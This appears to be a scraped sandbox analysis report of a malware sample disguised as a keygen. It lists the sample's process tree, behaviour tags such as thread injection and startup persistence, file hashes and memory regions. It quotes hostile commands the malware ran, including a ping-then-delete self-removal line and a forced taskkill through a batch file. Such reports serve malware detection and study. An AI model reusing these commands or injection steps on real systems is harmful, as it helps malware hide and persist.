- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\SysWOW64\explorer.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\9F5.tmp.exe"C:\Users\Admin\AppData\Roaming\9F5.tmp.exe"3⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Remove.bat" "6444" "C:\Users\Admin\AppData\Roaming\9F5.tmp.exe""4⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /PID "6444"5⤵
- Kills process with taskkill
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 35⤵
-
C:\Users\Admin\AppData\Roaming\1020.tmp.exe"C:\Users\Admin\AppData\Roaming\1020.tmp.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\113A.tmp.exe"C:\Users\Admin\AppData\Roaming\113A.tmp.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\SysWOW64\explorer.exe"4⤵
- Drops startup file
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Windows\SysWOW64\explorer.exe" >> NUL3⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.14⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\B30D.exeC:\Users\Admin\AppData\Local\Temp\B30D.exe1⤵
- Executes dropped EXE
- Drops startup file
- Checks whether UAC is enabled
- Modifies registry class
- NTFS ADS
-
C:\Users\Admin\AppData\Local\Temp\B9D4.exeC:\Users\Admin\AppData\Local\Temp\B9D4.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\C31C.exeC:\Users\Admin\AppData\Local\Temp\C31C.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\C967.exeC:\Users\Admin\AppData\Local\Temp\C967.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\D186.exeC:\Users\Admin\AppData\Local\Temp\D186.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\DE29.exeC:\Users\Admin\AppData\Local\Temp\DE29.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 904 -s 2762⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\E51F.exeC:\Users\Admin\AppData\Local\Temp\E51F.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6528 -s 21602⤵
- Program crash
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.datMD5
d5356a49c13f918f4a290f3da694eefa
SHA1404f057ce70ff2203f2e2ed02cfa943d1aad4469
SHA2563b992740a8d664f5bdb0dbd2dc2c26f975ea65f0991f41fe02192e1a56937f49
SHA5121aaeb25df50ae4109f5e80b18aefd51a0bb9287f79d8a8946f9ab6206d017fb4e5a7efc64fe576995f88d92e22bc8ac63e1e3b9601d369a31839b74795cd0216
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exeMD5
65b49b106ec0f6cf61e7dc04c0a7eb74
SHA1a1f4784377c53151167965e0ff225f5085ebd43b
SHA256862a8cf0e5561c848145a1a1f464acf77f92a3b15cc43722a7208701f60a2fcd
SHA512e9030cd609f42fb616e5bac3a5203ae46bbae9ec95682432a367f8805cdaa3e30c18a732ceddb0545ac653d543348a6728866149d2822752c80948066bfdf3da
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.batMD5
39f80c4d452a26def7a2d05f32a74e02
SHA1de6ef8e49e7725f627b1d748d7138c226bff75e1
SHA256f8d3c7043a3308cc1dedcf76bc0cd484df93822a7e3edddcab1595bb4959e582
SHA51297f6af2ca63a6784b9d63d996d68cec36b7eca8a39a85ea6ef3e3d540594944a7539266fec15fa4843ec1cd87d9523a723cedf00b6feaa5cc666b99ae67adf56
-
\??\pipe\crashpad_4984_CSNBIVHTEDFCUOLGMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\pipe\crashpad_640_UFPSXCDSRWKYOFQPMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/64-258-0x0000027322C00000-0x0000027322C70000-memory.dmpFilesize
448KB
-
memory/356-252-0x000001CE35DD0000-0x000001CE35E40000-memory.dmpFilesize
448KB
-
memory/356-251-0x000001CE35D10000-0x000001CE35D5B000-memory.dmpFilesize
300KB
-
memory/508-232-0x0000000000000000-mapping.dmp
-
memory/736-240-0x0000000000000000-mapping.dmp
-
memory/736-148-0x0000000000000000-mapping.dmp
-
memory/772-225-0x0000000000000000-mapping.dmp
-
memory/936-155-0x0000000000000000-mapping.dmp
-
memory/1044-308-0x0000026E7ED20000-0x0000026E7ED90000-memory.dmpFilesize
448KB
-
memory/1044-307-0x0000026E7E150000-0x0000026E7E19B000-memory.dmpFilesize
300KB
-
memory/1044-266-0x0000026E7ECB0000-0x0000026E7ED20000-memory.dmpFilesize
448KB
-
memory/1096-264-0x0000025761D60000-0x0000025761DD0000-memory.dmpFilesize
448KB
-
memory/1204-273-0x00000143C1F60000-0x00000143C1FD0000-memory.dmpFilesize
448KB
-
memory/1248-275-0x00000167FB370000-0x00000167FB3E0000-memory.dmpFilesize
448KB
-
memory/1264-116-0x0000000000000000-mapping.dmp
-
memory/1340-160-0x0000000000000000-mapping.dmp
-
memory/1404-268-0x000001930B880000-0x000001930B8F0000-memory.dmpFilesize
448KB
-
memory/1488-256-0x00000168C3500000-0x00000168C3570000-memory.dmpFilesize
448KB
-
memory/1488-287-0x00000168C5A00000-0x00000168C5AFF000-memory.dmpFilesize
1020KB
-
memory/1660-122-0x0000000000000000-mapping.dmp
-
memory/1848-271-0x000001F5312D0000-0x000001F531340000-memory.dmpFilesize
448KB
-
memory/2108-140-0x0000000000000000-mapping.dmp
-
memory/2284-130-0x0000000000000000-mapping.dmp
-
memory/2324-262-0x000002E654120000-0x000002E654190000-memory.dmpFilesize
448KB
-
memory/2364-260-0x000001FF17DB0000-0x000001FF17E20000-memory.dmpFilesize
448KB
-
memory/2464-284-0x00000000023E0000-0x00000000023E2000-memory.dmpFilesize
8KB
-
memory/2616-277-0x0000022B92270000-0x0000022B922E0000-memory.dmpFilesize
448KB
-
memory/2624-279-0x0000025EC1740000-0x0000025EC17B0000-memory.dmpFilesize
448KB
-
memory/2632-254-0x000002F435380000-0x000002F4353F0000-memory.dmpFilesize
448KB
-
memory/2708-269-0x000000001BA40000-0x000000001BA42000-memory.dmpFilesize
8KB
-
memory/2780-229-0x0000000000000000-mapping.dmp
-
memory/2812-286-0x0000000010000000-0x0000000011157000-memory.dmpFilesize
17.3MB
-
memory/2812-285-0x0000000004C10000-0x0000000005D12000-memory.dmpFilesize
17.0MB
-
memory/3244-137-0x0000000000000000-mapping.dmp
-
memory/3600-215-0x0000000000000000-mapping.dmp
-
memory/3728-123-0x00007FFB04C60000-0x00007FFB04C61000-memory.dmpFilesize
4KB
-
memory/3728-121-0x0000000000000000-mapping.dmp
-
memory/3860-295-0x0000000002E74000-0x0000000002E75000-memory.dmpFilesize
4KB
-
memory/3860-296-0x0000000002E75000-0x0000000002E77000-memory.dmpFilesize
8KB
-
memory/3860-293-0x0000000002E72000-0x0000000002E74000-memory.dmpFilesize
8KB
-
memory/3860-292-0x0000000002E70000-0x0000000002E72000-memory.dmpFilesize
8KB
-
memory/3864-239-0x0000000000000000-mapping.dmp
-
memory/3884-165-0x0000000000000000-mapping.dmp
-
memory/4124-241-0x0000000000000000-mapping.dmp
-
memory/4184-206-0x0000000000000000-mapping.dmp
-
memory/4244-178-0x0000000000000000-mapping.dmp
-
memory/4252-207-0x0000000000000000-mapping.dmp
-
memory/4264-226-0x0000000000000000-mapping.dmp
-
memory/4328-208-0x0000000000000000-mapping.dmp
-
memory/4348-237-0x0000000000000000-mapping.dmp
-
memory/4348-210-0x0000000000000000-mapping.dmp
-
memory/4388-209-0x0000000000000000-mapping.dmp
-
memory/4416-248-0x0000000002E30000-0x0000000002FCC000-memory.dmpFilesize
1.6MB
-
memory/4440-246-0x0000000000000000-mapping.dmp
-
memory/4448-211-0x0000000000000000-mapping.dmp
-
memory/4468-183-0x0000000000000000-mapping.dmp
-
memory/4476-250-0x0000000004AA0000-0x0000000004AFC000-memory.dmpFilesize
368KB
-
memory/4476-249-0x000000000485B000-0x000000000495C000-memory.dmpFilesize
1.0MB
-
memory/4588-302-0x0000000003840000-0x0000000003888000-memory.dmpFilesize
288KB
-
memory/4604-238-0x0000000000000000-mapping.dmp
-
memory/4620-213-0x0000000000000000-mapping.dmp
-
memory/4648-234-0x0000000000000000-mapping.dmp
-
memory/4656-187-0x0000000000000000-mapping.dmp
-
memory/4684-280-0x0000000000400000-0x000000000042B000-memory.dmpFilesize
172KB
-
memory/4684-212-0x0000000000000000-mapping.dmp
-
memory/4688-214-0x0000000000000000-mapping.dmp
-
memory/4712-192-0x0000000000000000-mapping.dmp
-
memory/4712-244-0x0000000000000000-mapping.dmp
-
memory/4724-228-0x0000000000000000-mapping.dmp
-
memory/4732-194-0x0000000000000000-mapping.dmp
-
memory/4748-216-0x0000000000000000-mapping.dmp
-
memory/4780-217-0x0000000000000000-mapping.dmp
-
memory/4792-235-0x0000000000000000-mapping.dmp
-
memory/4792-195-0x0000000000000000-mapping.dmp
-
memory/4796-236-0x0000000000000000-mapping.dmp
-
memory/4800-218-0x0000000000000000-mapping.dmp
-
memory/4804-282-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/4804-196-0x0000000000000000-mapping.dmp
-
memory/4808-242-0x0000000000000000-mapping.dmp
-
memory/4812-219-0x0000000000000000-mapping.dmp
-
memory/4824-288-0x0000000000400000-0x0000000000416000-memory.dmpFilesize
88KB
-
memory/4840-220-0x0000000000000000-mapping.dmp
-
memory/4844-221-0x0000000000000000-mapping.dmp
-
memory/4860-231-0x0000000000000000-mapping.dmp
-
memory/4860-290-0x00000000010E0000-0x00000000010E2000-memory.dmpFilesize
8KB
-
memory/4864-197-0x0000000000000000-mapping.dmp
-
memory/4872-281-0x0000000004280000-0x0000000004311000-memory.dmpFilesize
580KB
-
memory/4872-283-0x0000000000400000-0x0000000003DF0000-memory.dmpFilesize
57.9MB
-
memory/4876-198-0x0000000000000000-mapping.dmp
-
memory/4920-233-0x0000000000000000-mapping.dmp
-
memory/4924-222-0x0000000000000000-mapping.dmp
-
memory/4936-199-0x0000000000000000-mapping.dmp
-
memory/4948-200-0x0000000000000000-mapping.dmp
-
memory/4976-230-0x0000000000000000-mapping.dmp
-
memory/4984-201-0x0000000000000000-mapping.dmp
-
memory/5008-223-0x0000000000000000-mapping.dmp
-
memory/5020-224-0x0000000000000000-mapping.dmp
-
memory/5032-202-0x0000000000000000-mapping.dmp
-
memory/5088-291-0x0000000003130000-0x0000000003132000-memory.dmpFilesize
8KB
-
memory/5088-204-0x0000000000000000-mapping.dmp
-
memory/5088-294-0x0000000003132000-0x0000000003134000-memory.dmpFilesize
8KB
-
memory/5088-297-0x0000000003135000-0x0000000003136000-memory.dmpFilesize
4KB
-
memory/5092-289-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/5100-205-0x0000000000000000-mapping.dmp
-
memory/5116-227-0x0000000000000000-mapping.dmp
-
memory/5500-303-0x0000000140000000-0x0000000140383000-memory.dmpFilesize
3.5MB
-
memory/5548-306-0x00000000041F9000-0x00000000042FA000-memory.dmpFilesize
1.0MB
-
memory/5672-300-0x0000000004120000-0x0000000004164000-memory.dmpFilesize
272KB
-
memory/5716-304-0x0000000140000000-0x000000014070A000-memory.dmpFilesize
7.0MB
-
memory/5716-305-0x000002487A140000-0x000002487A160000-memory.dmpFilesize
128KB
-
memory/5748-299-0x00000000005A0000-0x00000000005B2000-memory.dmpFilesize
72KB
-
memory/5748-298-0x00000000001F0000-0x0000000000200000-memory.dmpFilesize
64KB
-
memory/5792-301-0x0000000000400000-0x0000000000447000-memory.dmpFilesize
284KB